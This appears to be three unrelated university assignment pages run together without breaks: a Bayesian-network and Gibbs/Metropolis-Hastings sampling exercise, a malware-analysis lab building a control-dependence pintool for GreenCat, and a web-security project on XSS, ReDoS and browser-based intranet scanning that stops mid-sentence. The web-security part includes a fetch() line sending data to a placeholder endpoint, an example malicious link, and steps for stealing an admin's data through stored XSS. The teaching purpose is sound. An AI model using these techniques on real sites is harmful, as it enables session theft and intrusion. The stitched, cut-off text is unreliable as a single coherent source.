5/5 - (2 votes) Today, Bayes Nets have become more important than ever in Artificial Intelligence. The ability to generate solutions with incomplete data has become critical to predicting the future as well as classification and Deep Learning. It is the Bayesian Networks ability to represent complex relationships and reliably predict outcomes that is being used throughout AI. In this assignment, you will work with probabilistic models aka Bayesian networks to efficiently calculate the answer to probability questions concerning discrete random variables. Bayesian view is a subjective view which allows self-consistent ascription of prior probabilities to propositions, and requires arriving evidence to update the model. Since the 1960’s the brilliant work by Rev. Thomas Bayes (1702-1761) has been outperforming human experts in diagnosis of medical conditions. We also hope to prove the value of Sampling to you. In particular, Markov Chain Monte Carlo (MCMC) helps to overcome the limitations of traditional sampling. In MCMC each sample is generated by making a random change to the preceding sample MCMC are algorithms with a state, the next state is generated from the current one One specific MCMC used is Gibbs sampling. In which the sampling process settles into a “dynamic equilibrium” in which the longrun fraction of time spent in each state is exactly proportional to its posterior probability The states are generated given the Markov blanket, and state transitions are defined by the conditional distribution Resources You will find the following resources helpful for this assignment. Canvas Videos: Lecture 5 on Probability Lecture 6 on Bayes Nets Textbook: 4th edition: Chapter 12: Quantifying Uncertainty Chapter 13: Probabilistic Reasoning 3rd edition: Chapter 13: Quantifying Uncertainty Chapter 14: Probabilistic Reasoning Setup Clone the project repository from your private repo on Github git clone [your URL] Substitute your actual username where the angle brackets are. Navigate to assignment_3/ directory Activate the environment you created during Assignment 0 conda activate ai_env In case you used a different environment name, to list of all environments you have on your machine you can run conda env list. Run the following command in the command line to install and update the required packages pip install torch torchvision -f https://download.pytorch.org/whl/torch_stable.html pip install --upgrade -r requirements.txt For Mac OSX users with apple silicon, if you have error related to xgboost, you may also need to install xgboost. conda install py-xgboost Submission Please include all of your own code for submission in submission.py. Important: There is a TOTAL submission limit of 7 on Gradescope for this assignment. This means you can submit a maximum of 7 times during the duration of the assignment. Please use your submissions carefully and do not submit until you have thoroughly tested your code locally. If you’re at 6 submissions, use your last submission wisely. The submission marked as ‘Active’ in Gradescope will be the submission counted towards your grade. Restrictions You are not allowed to use following set of modules from ‘pgmpy’ Library. pgmpy.sampling.* pgmpy.factor.* – pgmpy.estimators.* Part 1 Bayesian network tutorial: [35 points total] To start, design a basic probabilistic model for the following system: James Bond, Quartermaster (Q), and M (Head of MI6) are in charge of the security system at the Military Intelligence Unit (MI6) of the British Secret Service. MI6 runs a special program called “Double-0”, where secret spy agents are trained and deployed to gather information concerning national security. A terrorist organization named “Spectre” is planning an espionage mission and its aim is to gain access to the secret “Double-0” files stored in the MI6 database. Q has designed a special security system to protect the secret “Double-0” files. In order to gain access to these files, Spectre needs to steal from MI6 a cipher and the key to crack this cipher. Q stores this cipher in his personal database, which is guarded by heavy security protocols. The key to cracking the cipher is known only to M, who is protected by Bond. 1a: Casting the net [10 points] We anticipate that Spectre will try to carry out their mission by performing the following steps: Hire professional hackers who can write programs to launch a cyberattack on Q’s personal database. Buy a state-of-the-art computer called “Contra” to launch their cyberattack. Hire ruthless mercenaries to kidnap M and get the key. Find a way to ensure Bond is not with M when they attempt their kidnapping. Use the cipher and key to access the target “Double-0” files. As an up and coming field agent, MI6 has assigned you to design a Bayes Network for modeling their mission, so it can be used to build defenses. This is the list of variables in your Bayes Network: “H”: That Spectre can hire the professional hackers “C”: That Spectre is able to buy Contra “M”: That Spectre is able to hire mercenaries “B”: That Bond is guarding M at the time of the attempted kidnapping “Q”: That Q’s database is hacked and the cipher is compromised “K”: That M gets kidnapped and has to divulge the key “D”: That Spectre succeeds in obtaining the “Double-0” files Based on previous attacks by Spectre, MI6 has provided data to help you determine probabilities for your Bayes Network: Spectre’s ability to find and hire skilled professional hackers has a probability of h = 0.5. Spectre’s ability to get their hands on Contra has a probability of c = 0.3. Spectre’s will not be able to hire the mercenaries has a probability of ¬m = 0.2. Bond is also assigned to another mission, so the probability that he will be protecting M at the time of the kidnapping attempt is b = 0.5. The ability of the professional hackers to crack Q’s personal database without using Contra has a probability of 0.55. The ability of the professional hackers to crack Q’s personal database using Contra has a probability of 0.9. If Spectre cannot hire professional hackers, and launches a cyberattack using their less experienced employees using Contra on Q’s personal database it will remain secure with a probability of 0.75 and will remain secure with a probability of 0.95 if Spectre does not have Contra. When Bond is protecting M, the probability that M does not get kidnapped is 0.85 if mercenaries conduct the attack. And if mercenaries are not present, the probability that M is not kidnapped is 0.99. However, if M is not accompanied by Bond, M gets kidnapped with probability 0.95 when mercenaries are present and 0.75 when they are not. With both the cipher and the key, Spectre can gain access to the “Double-0” files with a probability of 0.99. If Spectre has neither of these, then this probability is only 0.02. If Spectre has just the cipher, the probability that the “Double-0” files will not be compromised is 0.4. If Spectre has just the key, then this probability changes to 0.65 (i.e., 35% chance of compromise). Use the description of the model above to design a Bayesian network for this model. The pgmpy package is used to represent nodes and conditional probability arcs connecting nodes. Don’t worry about the probabilities for now. Use the functions below to create the net. You will write your code in submission.py. Fill in the function make_security_system_net() The following commands will create a BayesNet instance add node with name “node_name”: BayesNet = BayesianNetwork() BayesNet.add_node("node_name") You will use BayesNet.add_edge() to connect nodes. For example, to connect the parent and child nodes that you’ve already made (i.e. assuming that parent affects the child probability): Use function BayesNet.add_edge(,). For example: BayesNet.add_edge("parent","child") (Hint: after adding all edges, run BayesNet.check_model()—it will raise a helpful exception if you missed a parent or your CPDs don’t sum to 1.) After you have implemented make_security_system_net(), you can run the following test in the command line to make sure your network is set up correctly. python probability_tests.py ProbabilityTests.test_network_setup 1b: Setting the probabilities [15 points] Now set the conditional probabilities for the necessary variables on the network you just built. Fill in the function set_probability() Using pgmpy‘s factors.discrete.TabularCPD class: if you wanted to set the distribution for node ‘A’ with two possible values, where P(A) to 70% true, 30% false, you would invoke the following commands: cpd_a = TabularCPD('A', 2, values=[[0.3], [0.7]]) NOTE: Use index 0 to represent FALSE and index 1 to represent TRUE, or you may run into testing issues. If you wanted to set the distribution for P(G|A) to be A P(G=true given A) T 0.75 F 0.85 you would invoke: cpd_ga = TabularCPD('G', 2, values=[[0.15, 0.25], [ 0.85, 0.75]], evidence=['A'], evidence_card=[2]) Reference for the function: https://pgmpy.org/_modules/pgmpy/factors/discrete/CPD.html Modeling a three-variable relationship is a bit trickier. If you wanted to set the following distribution for P(T|A,G) to be A G P(T=true given A and G) T T 0.15 T F 0.6 F T 0.2 F F 0.1 you would invoke cpd_tag = TabularCPD('T', 2, values=[[0.9, 0.8, 0.4, 0.85], [0.1, 0.2, 0.6, 0.15]], evidence=['A', 'G'], evidence_card=[2, 2]) The key is to remember that first row represents the probability for P(T==False), and second row represents P(T==true). Add Tabular conditional probability distributions to the bayesian model instance by using following command. bayes_net.add_cpds(cpd_a, cpd_ga, cpd_tag) You can check your probability setups in the command line with python probability_tests.py ProbabilityTests.test_probability_setup and probability values: python probability_tests.py ProbabilityTests.test_security_system_probabilities 1c: Probability calculations : Perform inference [10 points] To finish up, you’re going to perform inference on the network to calculate the following probabilities: What is the marginal probability that the “Double-0” files get compromised? You just received an update that the British Elite Forces have successfully secured and shut down Contra, making it unavailable for Spectre. Now, what is the conditional probability that the “Double-0” files get compromised? Despite shutting down Contra, MI6 still believes that an attack is imminent. Thus, Bond is reassigned full-time to protect M. Given this new update and Contra still shut down, what is the conditional probability that the “Double-0” files get compromised? You’ll fill out the “get_prob” functions to calculate the probabilities: get_marginal_double0() get_conditional_double0_given_no_contra() get_conditional_double0_given_no_contra_and_bond_guarding() Here’s an example of how to do inference for the marginal probability of the “A” node being True (assuming bayes_net is your network): solver = VariableElimination(bayes_net) marginal_prob = solver.query(variables=['A'], joint=False) prob = marginal_prob['A'].values To compute the conditional probability, set the evidence variables before computing the marginal as seen below (here we’re computing P(‘A’ = false | ‘B’ = true, ‘C’ = False)): solver = VariableElimination(bayes_net) conditional_prob = solver.query(variables=['A'],evidence={'B':1,'C':0}, joint=False) prob = conditional_prob['A'].values NOTE: marginal_prob and conditional_prob return two probabilities corresponding to [False, True] case. You must index into the correct position in prob to obtain the particular probability value you are looking for. For example, prob[1] is the probability the queried variable is true. If you need to sanity-check to make sure you’re doing inference correctly, you can run inference on one of the probabilities that we gave you in 1a. For instance, running inference on P(M=false) should return 0.20 (i.e. 20%). However, due to imprecision in some machines it could appear as 0.199xx. Calculating one or two of these by hand (or in a spreadsheet) is strongly recommended; it is the quickest way to spot indexing mistakes before submitting. Part 2: Sampling [65 points total] For the main exercise, consider the following scenario. There are three frisbee teams who play each other: the Airheads, the Buffoons, and the Clods (A, B and C for short). Each match is between two teams, and each team can either win, lose, or draw in a match. Each team has a fixed but unknown skill level, represented as an integer from 0 to 3. The outcome of each match is probabilistically proportional to the difference in skill level between the teams. Sampling is a method for ESTIMATING a probability distribution when it is prohibitively expensive (even for inference!) to completely compute the distribution. Here, we want to estimate the outcome of the matches, given prior knowledge of previous matches. Rather than using inference, we will do so by sampling the network using two Markov Chain Monte Carlo models: (2c) Gibbs sampling and (2d) Metropolis-Hastings . 2a: Build the network. [10 points] For the first sub-part, consider a network with 3 teams : the Airheads, the Buffoons, and the Clods (A, B and C for short). 3 total matches are played. Build a Bayes Net to represent the three teams and their influences on the match outcomes. Fill in the function get_game_network() Assume the following variable conventions: variable name description A A’s skill level B B’s skill level C C’s skill level AvB the outcome of A vs. B (0 = A wins, 1 = B wins, 2 = tie) BvC the outcome of B vs. C (0 = B wins, 1 = C wins, 2 = tie) CvA the outcome of C vs. A (0 = C wins, 1 = A wins, 2 = tie) (Throughout Part 2 the index 0 means the first item shown in each parenthesis, index 1 the second, and so on.) Use the following name attributes: “A” “B” “C” “AvB” “BvC” “CvA” Assume that each team has the following prior distribution of skill levels: skill level P(skill level) 0 0.15 1 0.45 2 0.30 3 0.10 In addition, assume that the differences in skill levels correspond to the following probabilities of winning: skill difference (T2 – T1) T1 wins T2 wins Tie 0 0.10 0.10 0.80 1 0.20 0.60 0.20 2 0.15 0.75 0.10 3 0.05 0.90 0.05 If the difference is negative, swap T1 and T2 (i.e., use the row for the positive difference and swap the win columns). You can check your network implementation in the command line with python probability_tests.py ProbabilityTests.test_games_network 2b: Calculate posterior distribution for the 3rd match. [5 points] Suppose that you watched two of the three games and observed the following outcome: A beats B A draws with C Calculate the posterior distribution for the outcome of the BvC match in calculate_posterior(). Let’s first use the inference engine, VariableElimination, provided by the pgmpy library to perform inference. This result will be the ground truth for you to test your estimation in 2c) Gibbs and 2d) MH, where you are NOT allowed to use the inference engine there. You can check your posteriors in the command line with python probability_tests.py ProbabilityTests.test_posterior NOTE: In the following sections, we’ll be arriving at the same values by using sampling-based methods. Hints Regarding sampling for Part 2c, 2d, and 2e Hint 1: In both Metropolis-Hastings and Gibbs sampling, you’ll need access to each node’s probability distribution and nodes. You can access these by calling: A_cpd = bayes_net.get_cpds('A') team_table = A_cpd.values AvB_cpd = bayes_net.get_cpds("AvB") match_table = AvB_cpd.values Hint 2: While performing sampling, you will have to generate your initial sample by sampling uniformly at random an outcome for each non-evidence variable and by keeping the outcome of your evidence variables (AvB and CvA) fixed. Hint 3: You’ll also want to use the random package, e.g. random.randint() or random.choice(), for the probabilistic choices that sampling makes. 2c: Gibbs sampling [15 points] Implement the Gibbs sampling algorithm, which is a special case of Metropolis-Hastings. You’ll do this in Gibbs_sampler(), which takes a Bayesian network and initial state value as a parameter and returns a sample state (a tuple of six integers in the order [A,B,C,AvB,BvC,CvA]) drawn from the network’s distribution. The function should just consist of a “single iteration” of the algorithm. “Single iteration” means this function generates exactly one new sample based on the previous sample you have. The new sample is chosen with some distribution you have to compute by written down the equation. If an initial value is not given (initial state is None or and empty list), default to a state chosen uniformly at random from the possible states. Your sampling process could look like something below: state_chosen := randomly choose one *non‑evidence* index (0,1,2 or 4) if state_chosen = A: (derive your formula yourself) (Don't use VariableElimination or other inference engine, or you will have 600 sec timeout issue on Grade Scope) prob = [your formula] sample new state with the prob else if state_chosen = B: ... else if ... Note: DO NOT USE the given inference engines or pgmpy samplers to run the sampling method, since the whole point of sampling is to calculate marginals without running inference. "YOU WILL SCORE 0 POINTS ON THIS ASSIGNMENT IF YOU USE THE GIVEN INFERENCE ENGINES FOR THIS PART" (Gradescope enforces this by timing out any submission that calls VariableElimination inside the sampler.) You may find this helpful in understanding the basics of Gibbs sampling over Bayesian networks. Please note that there is a typo in this material: on page 3, $P( eg c|r,s,w) = 0.5556$ instead of 0.6923. 2d: Metropolis-Hastings sampling [15 points] Now you will implement the independent Metropolis-Hastings sampling algorithm in MH_sampler(), which is another method for estimating a probability distribution. The general idea of MH is to build an approximation of a latent probability distribution by repeatedly generating a “candidate” value for each sample vector comprising of the random variables in the system, and then probabilistically accepting or rejecting the candidate value based on an underlying acceptance function. Unlike Gibbs, in case of MH, the returned state can differ in multiple non-evidence variables. This paper provides a nice intro. You may need to download and view the file locally, as there are some issues with GitHub’s rendering. This method should just perform a “single iteration” of the algorithm. If an initial value is not given, default to a state chosen uniformly at random from the possible states. Note: DO NOT USE the given inference engines to run the sampling method, since the whole point of sampling is to calculate marginals without running inference. "YOU WILL SCORE 0 POINTS IF YOU USE THE PROVIDED INFERENCE ENGINES, OR ANY OTHER BLACK-BOX SAMPLER" 2e: Comparing sampling methods [19 points] Now we are ready for the moment of truth. Given the same outcomes as in 2b, A beats B and A draws with C, you should now estimate the likelihood of different outcomes for the third match by running Gibbs sampling until it converges to a stationary distribution. We’ll say that the sampler has converged when, for “N” successive iterations, the difference in expected outcome for the 3rd match differs from the previous estimated outcome by less than “delta”. N is a positive integer, delta goes from (0,1). For the most stationary convergence, delta should be very small. N could take values like 10,20,…,100 or even more. Play it out yourself! Use the functions from 2c and 2d to measure how many iterations it takes for Gibbs and MH to converge to a stationary distribution over the posterior. See for yourself how close (or not) this stable distribution is to what the Inference Engine returned in 2b. And if not, try tuning those parameters(N and delta). (You might find the concept of “burn-in” period useful). Count only post-burn-in iterations when reporting Gibbscount and MHcount; rejected MH proposals still count as one iteration. You can choose any N and delta (with the bounds above), as long as the convergence criterion is eventually met. Repeat this experiment for Metropolis-Hastings sampling. Implement compare_sampling() to (i) run each sampler until convergence, (ii) return the final BvC distribution, and (iii) record the iteration counts. Which algorithm converges more quickly? By approximately what factor? For instance, if Metropolis-Hastings takes twice as many iterations to converge as Gibbs sampling, you’d say that Gibbs converged faster by a factor of 2. Fill in sampling_question() to answer both parts. You only need to comment out or delete “raise NotImplementedError” and modify choice and factor. 2f: Return your name
Let us return one last time to the events which occurred in 2014 at a small eCommerce start-up company in Monroe, CT.Your investigation of the insidious greencat malware is coming to an end. You have found that the malware is using an HTTP connection to transmit command and control messages to a suspicious IP address. This discovery leads you to identify several predicates in the greencat binary which seem to control the execution of each malicious payload.“How can I be sure which payloads are controlled by each predicate?” You wonder …Static control dependence will not suffice. You suspect that some payloads in greencat may be packed or self-modifying. Therefore, analyzing the malware’s execution via dynamic analysis is the only way to expose its true behaviors.“One problem remains,” You think. “I have to precisely recreate the attack steps, as they unfolded at the eCommerce start-up. How can I know which command and control inputs will exercise those exact greencat execution paths?”Luckily, you remember that the part-time IT support professionals employed by the eCommerce start-up had saved network packet traces for all of the accounting department computers!“This is perfect!” You exclaim.The plan that you devise is as follows.Step 1: You must design a dynamic control dependence pintool.Step 2: Using a fake greencat C&C server, you can execute greencat with the pintool, send it C&C commands, and recover the dynamic control dependence of each payload.Step 3: You can check each payload’s network communication that you observe against the packet trace to be sure you’ve covered the correct execution paths.Disclaimer: In this assignment, you will only accomplish Steps 1 and 2.Instructions:The story for this lab is quite accurate to how a malware analyst would instrument, manipulate, and compare against evidence from the original cyber-attack. A dynamic Control Dependence Graph (CDG) enables malware analysis tools to link code sections to the predicates that control their execution. In a malware investigation (as in the story above) this can reveal exactly what network or environment input triggered the attack evidence the investigator observed. A CDG is also an essential program analysis build block that is required for program slicing, and as you know from the research papers, program slicing is widely used to focus analysis algorithms on key malware capabilities. However, like in previous labs, tool designers (you) must make tradeoffs, specifically in how to obtain immediate post-dominators. In this lab, you will create a dynamic CDG using the “puppeteered” GreenCat traces you collected in Lab 5. After completing this lab, I encourage you to go a step further and write a simple analysis script to automatically identify which C&C command causes each GreenCat function to execute (e.g., use an GHIDRA plugin to automatically color each instruction based on which C&C command causes it to execute).To determine control dependence, you will need to identify the immediate post-dominators of many instructions. For this lab we expect you to calculate IPDs based on the dynamic trace (with the control flow trace that your pintool generated for Lab #5). As we discussed in class, it is fine if your solution requires executing the dynamic analysis multiple times.Note that: If you obtain immediate post-dominators from the dynamic execution trace, then your immediate post-dominators might cover the entire program (i.e., you will have control dependence between functions). This is acceptable for this lab!After the process that your pintool is tracing exits (i.e., in your pintool’s Fini function), generate a DOT directed graph file representing the control dependence of all the observed instructions. Each node in your DOT directed graph file should be the address of an instruction that was executed (only ONE node per instruction address). The edges in your DOT directed graph file should go from each executed instruction to the instructions that it is control dependent on.For example, assume the instruction at 0x638 is control dependent on the instruction at 0x634. The DOT directed graph file generated by your tool should be as follows:The order of the edges in the DOT directed graph file does not matter. Also see: https://stackove rflow.com/questions/1494492/graphviz-how-to-go-from-dot-to-a-graphYou can use sendsignal.exe on the Desktop (via the command prompt) to kill it.Use your pintool and explore all the different control flow paths that each of the greencat command and control (C&C) commands exercise. Refer back to your previous labs to recover the C&C commands that greencat accepts from its C&C server. Send each command to greencat (one time is enough; order does not matter) and generate one DOT file.Submit your pintool source code and the DOT file your pintool generated.Note 1: You may not need to change your pintool from Lab #5. That is fine.Note 2: You may include a “post-processing” step (e.g., a python script) after your pintool runs that can be used to formulate the control dependence graph used in your submission instead of doing the CDG calculation in your pintool code.Note 3: Feel free to use any third-party packages for graph algorithms/processing (hint: NetworkX is a handy python library for dealing with graphs).As always: Post any questions or ideas on Ed Discussion! Even code snippets are fine, as long as they do not give away a key answer to this assignment. Class collaboration is encouraged — It’s us versus malware! If you’re not sure if your post is safe, send it to the Prof/TA in a private post to verify.Additional Example:Consider this example:Consider what it would look like if we converted this to a digraph in the form of our lab 5 output (1A and 1B are G and H respectively):Now consider the control dependence output:Notice that you can add a START node, which can help calculate control dependence (recall the Software Representations slides). In this case, we can say that node A and node H are control dependent on START. The START node is optional in your output, but it does help calculate control dependence.Also in this example, B is control dependent on A because: 1. There exists a path from A to B such that every node in the path other than A and B is post-dominated by B. 2. A is not post-dominated by B.Also, notice that the edges in the control dependence grade point to the node that each node is control dependent on (reversed compared to the image of a CFG).Grade: 100 pointsGrading Criteria:The grade will be based on the correctness of the DOT file that your pintool and/or prost-processing script generates.Your grade is dependent on the count of correct control dependence relationships you define. For example, if you miss 10% of the CDG relationships you will get a 90% on the lab. If you miss 10% of the expected CDG relationships and add an extra 10% of incorrect relationships to your CDG you will receive an 80% on the lab.Teams:This assignment can be done individually or in a team of 2. Please join a group in Gradescope if you are collaborating.Do not create or join a group in Canvas. Canvas groups are different from Gradescope groups.New to Gradescope? This link provides instructions for how to create groups in Gradescope: https://help.gradescope.com/article/m5qz2xsnjy-student-add-group-membersZoom can also provide the ability to collaborate and video conference with your teammate.Submission Instructions:Upload the following to Gradescope:The DOT file that your pintool generated, named “submission.dot”.Your pintool code, named “plugin.cpp” and any other code files needed to run your solution. We reserve the right to run all submitted code, through automated means or otherwise, and if it is found that your code does not output equivalent to your original dotfile submission then you will also receive a zero.Be advised, please submit (1) and (2) separately, do NOT zip them together.Note: Gradescope will only check the formatting of your submission. Gradescope will not automatically check the correctness and provide a grade.Note: You can download the webc2-greencat-2.7z file directly into your lab environment. After you are done with this lab, you can submit your files directly from the lab environment (Highly recommended). Doing this will help you avoid transferring the file from the lab environment to your personal computer.Transferring Files:To transfer files from your personal device to the lab environment or to the Windows7 VM:Create a zip folder of all the files that you would like to transfer to the lab environment or the Windows7 VM.Every GT student has Box and OneDrive accounts given free by the institution. Login to either of those two and upload the desired files.Now go back to the lab environment or the Windows7 VM and login to either of those two services where you uploaded you zip folder. Download folder to the lab environment or the Windows7 VM and use the appropriate 7z command to unzip your folder.FAQWhat is the purpose of the additional, ungraded, GradeScope assignment with the same release period as Lab 6?This is an ungraded assignment that is exactly the same as Lab 5. It lets students submit their dynamic CFG to ensure that the coverage meets the minimum requirements. Since Lab 6 is a dynamic CDG, we test the dynamic CDG for all the points that we look for in the coverage we require for Lab 5 (these labs are largely interdependent). Making sure you start out with maximum coverage on Lab 5 before implementing Lab 6 will likely result in the best grade overall.What to do when you encounter technical difficulties?If you are experiencing technical difficulty such as being unable to access the lab environment, please submit a ticket to the “Digital Learning Tools and Platforms” team at https://gatech.servicenow.com/continuity. On the ticket, please put “Route to the DLT Team” at the top of the ticket because it will help the Service Desk know where to send it.
You can find the due date and how to turn in your solution located on the Canvas assignment page and Ed discussion. You’ve been invited to the CS6262 security club; welcome! The security club has a new official website we use for sharing information and resources. Unfortunately, the last administrator was too busy and didn’t perform any security audits on the website. Oh no!The club’s security team wants you, the club’s newest member, to deliver a full security audit of our new official website. You’ve been tasked to provide a pen-testing report to the club’s security team. You’ve received this message to start you off:“Hi there! The club’s website can be found at https://cs6262.gtisc.gatech.edu. We’ve integrated the GT Single-Sign-On service, so please sign in with your GT account and it will create a user for you. The website is not complicated. It is a simple Content Management System (CMS) with several features enabled, e.g., text search, dark mode, rich text editor, etc. Good luck auditing! The CS6262 Security Team” Let’s first orient ourselves on the website. The project website is located at cs6262.gtisc.gatech.edu – type this into your browser. We recommend using the latest version of Google Chrome. To trigger an XSS attack on the admin side, fill in the URL of your post and submit to the admin role. It will create or override the current running browser instance, which means when it’s messed up, you can submit a URL to override the current one. To trigger an XSS attack on other users’ sides, fill in the URL of your malicious payload. The user instances also override the current one when you submit new URLs. The admin instance will be used for task 4 and task 5.2. The user instance will be used for task 5.3. iii. Check “Restart the ReDoS instance” to launch the ReDoS server again when you feel like the server is not responding to your submission. Here are the two approaches. Note: Fill up the questionnaire and submit required files onto GradeScope. Modern browsers will provide DevTools for front-end developers to debug and tune the performance when developing a website. Attackers can also use these tools to explore and collect information. Open your Chrome and press F12 to open the developer console. DevTools will popup. Here you can run JavaScript in the console, view the source html of the webpage, capture the network traffic, and other functionalities. Try to explore it by yourself. 1.2 console.log() console.log() is commonly used to print information into the console of the developer tools for debugging purposes. Open the devTool and type console.log(“yourGTID”); You can see your GTID is printed in the console. 1.3 setInterval setInterval is used to fire a function given a frequency. It will return an intervalID which can be passed to clearInterval to cancel the interval. Question: Given a variable var counter = 5, make use of setInterval and clearInterval to reduce thecounter to 0 in every second and then stop. You can run your code in devTools to verify. var counter = 5;// Your code below 1.4 setTimeout setTimeout will fire a function after the delay milliseconds. The function will only be fired once. Similarly you can use the returned timeoutID and clearTimeout to cancel the timeout. Question: Given a variable var counter = 5, make use of setTimeout to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify.var counter = 5;// Your code below 1.5 Promise A Promise is an object used for async operations in JavaScript. There are three states in a Promise object: Pending, Fulfilled, and Rejected. Once created, the state of the Promise object is pending. So the calling function will not be blocked and continue executing. The Promise object will eventually be fulfilled or rejected. Then the respective resolve or reject function will be called. Below is an example of a Promise. Before running the code, can you tell what the output would be? Can you explain why? Which of the following options can adjust iframe’s width and height correctly? for (var i = 0; i < 3; i++) { const promise = new Promise((resolve, reject) => { setTimeout(resolve, 1000 + i*1000) }); promise.then(() => alert(i));} FAQ Please make sure that you have correctly set your username in the questionnaire. Find where to exploit a reflected XSS and fill in the questionnaire URL by visiting which an alert should trigger. Reflective XSS is an attack where a website does not return requested data in a safe manner.Reflective is generally an XSS attack where the attacker sends the victim a link to a reputable website. BUT, this link contains malicious javascript code. For example,https://www.facebook.com/login?username=username&password=passwordsteal-yourinformation.jsIf the website returns the data in an unsafe manner (does not sanitize the output) and the victim clicks on this link, then the malicious code will be executed in the context of the victim’s session. The content of the alert doesn’t matter. For example, https://cs6262.gtisc.gatech.edu/endpoint…yourpayload is what you need to fill in the questionnaire. The autograder will visit your URL. If it detects an alert, then you will receive full credit. After finding the exploitable place from task 2, you understand you can infect others by sending them links. But sending links is costly and people may not click on them every time. Therefore, instead of sending a link required in task 2, you find you can actually modify the payload and let the payload live in this web app forever. As long as a user clicks on the link you send once, she is infected persistently unless the payload is cleared. After learning some types of XSS, you may think how I can make my attack as persistent as possible on the client’s side if the website doesn’t have a Stored-XSS vulnerability exposed to regular users. As Web technology evolves, more and more applications start to focus on user experience. More and more web applications, including cross platform Electron applications, are taking over desktop applications. Some user’s non-sensitive data is now stored on the client-side, especially the look and feel preferences of an application, to let the App load faster by remembering the user’s preferences without passing back small data chunks. (You can learn more how prevalent this unsafe design is nowadays by reading the paper Don’t Trust TheLocals: Investigating the Prevalence of Persistent Client–Side Cross–Site Scripting in the Wild) Then, the variable is read by an unsafe sink, e.g. eval, element.innerHTML(data). Inspect what is stored locally for the web application, cs6262.gtisc.gatech.edu, and how it is used. Tools you may need: Now, modify the payload in the link from task 2 and fill the updated URL in the questionnaire. The autograder will first visit your URL (NO alert should pop up at this point). Then, it would close the page and reopen to trigger your payload to run (One alert should pop up). Next, it refreshes the page without retriggering your payload (Another alert should pop up). Again, it should detect the alert twice. It should not pop up an alert by only visiting your URL. (Namely, the alert should be triggered when the victim visits any page on this website after reopening.) Deliverables The website, https://cs6262.gtisc.gatech.edu, allows users to create articles. As a user, one needs to submit the post to a moderator who is the admin of the website for approval. This might be an interesting point to investigate whether you can inject something so when the admin is reviewing your post, thereby you can hijack the admin’s login session. This website uses a rich text editor which not only enables styled content but sanitizes the user’s input while preserving its style. In this task, you will submit a post with an injected payload that launches XSS attached to an admin user. Then, you need to steal some information that is only visible to an admin. Stored XSS is an attack where a website does not store data in a safe manner. An attacker could then store malicious code within the website’s database. Said code could be executed whenever a user visits that website. So, a post for an admin’s approval seems like something you will be interested in. If you can steal the admin’s login session cookie, you can login as her to see what she can see. Recall from the lecture that when a cookie has httpOnly, it is not exposed to the document object. This cookie cannot be accessed by JavaScript. What would you need to do to read information out as the cookie’s owner? This httpOnly flag is a good way to prevent JavaScript from reading sensitive cookies. However, it doesn’t mean it can mitigate XSS attacks. Attackers, having malicious scripts running in the victim’s browser, are still able to send requests and forward the responses to themselves. Even though the website is protected by CSRF tokens, attackers can still manage to post malicious payload pretending to be the user. “fetch(‘https://your_endpoint_address/’, {method: ‘post’, body: ‘hi’})” will help you verify the correctness. Then, you should be able to see this after opening your endpoint in a new tab. In this way, you should be able to read data out of the website and send it to your HTTP endpoint. If you are not familiar with the basics of HTTP and JavaScript, learning how to use fetch in an async chain can be helpful. You may read the examples in this documentation:https://developer.mozilla.org/en–US/docs/Web/API/fetch Also, before posting your write-up, please switch back to the “normal” mode to ensure it works. Logging in as an admin is difficult since the website is well-configured to prevent it from happening, even if you have the cookie. An easier way is to “see” the admin’s console page (via your exploit script) and locate the “Information Theft” input box. Looking into the HTML of the page, you will know how you can instruct the admin (again, using your exploit script) to help you to get the hash. The autograder checks your script. Please make sure you have submitted it correctly. Also, please make sure your submission strictly follows the format guideline. A possible reason is that some residual malicious code/scripts are still left on the website, e.g., your local storage or endpoint/inbox. Please clean all the cache and local storage of the website and clean your endpoint/inbox. You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1. You just have learned how to exploit XSS in various ways. In this task, you will learn what XSS is capable of. You’ve learned from the DoS lecture that GitHub was attacked in March 2015. Those flooding requests came from browsers! Application layer DoS attacks are difficult to stop because a request sent by a bot is the same as a request from a legitimate user. Common mitigation against request flooding is applying challenges like reCaptcha. What if we can still exhaust the server’s resources without flooding requests? A throttle to frequent requests won’t be able to stop it! Regular Expression Denial of Service (ReDoS) is one type of application layer, DoS. Due to the nature of single-threaded JavaScript and its event-loop architecture, if an event takes a long time to execute, the JavaScript thread will not be able to process other normal events. Imagine what if it takes 5 seconds to check a single regular expression. It impacts other users’ experiences severely since the web server is so busy processing the single regular expressions which result in a denial of service to other users. Here are some references: https://www.cloudflare.com/learning/ddos/application–layer–ddos–attack/ https://en.wikipedia.org/wiki/ReDoShttps://sec.okta.com/articles/2020/04/attacking–evil–regex–understanding–regular–expression–denialserviceFreezing the Web: A Study of ReDoS Vulnerabilities in JavaScript–based Web Servers Read the references above to understand what ReDoS is and its impact. In this task, you will try one kind of ReDoS attack. You will find the ReDoS section on the console page. Try to compose a username and password combination to launch a ReDoS attack against the ReDoS server. When an attack is successful, a hash value will be available for you to submit. The username can be a regular expression.Read the materials above, and you will find the solution. Network work scanning has been well studied. You have practiced Nmap in Project 1. In order to scan the intranet using Nmap, you need access to a host in the intranet, which is quite difficult in general. However, by leveraging a user’s browser running on a host inside the intranet, you are still able to scan the intranet by injecting malicious scripts. There are some interesting materials related to intranet scanning using a browser. These vulnerabilities were mitigated since they were disclosed. However, given the common incorrect “Access-Control-Allow-Origin” setup in an intranet network, you may be lucky to sniff something from your target’s local network. As we learned from the lectures, a DNS rebinding attack allows an attacker to bypass SOP, thereby the attacker can read content from intranet web servers. But before launching a DNS rebinding attack, one must know what web servers are available in that organization. A local webserver scanning can help the attacker determine the targets. Now, assume you, as the attacker, have already learned the local IP address range below. And your goal is to determine what IP addresses are serving web content. (Recall the port number or protocol name for serving web content.) A web server will respond “hello” in plain text. The local host IP range is from 172.16.238.4 to 172.16.238.255, which is what you need to scan. These hosts are not accessible from outside as it’s only accessible to the victims – a user or an admin. Deliverables You will get 15% for all correct IP addresses and 0% for all incorrect. Here are some references to cross-origin vulnerabilities: https://portswigger.net/web–security/cors/access–control–allow–originhttps://www.pivotpointsecurity.com/blog/cross–origin–resource–sharing–security/ These two articles below are related to using WebRTC to scan from a browser because of the mechanism of establishing a peer to peer connection if you are interested. These are past-tense anyways, but you are welcome to think of any new ideas related to this. A Browser Scanner: Collecting Intranet Information https://medium.com/tenable–techblog/using–webrtc–ice–servers–for–port–scanning–in–chromece17b19dd474 Reviewing your answer to Q2.3 in Task 1 may help. Please make sure that it’s the admin who runs your script. This IP is only accessible by the admin. Also, please specify the correct protocol name or port number. (The server serves 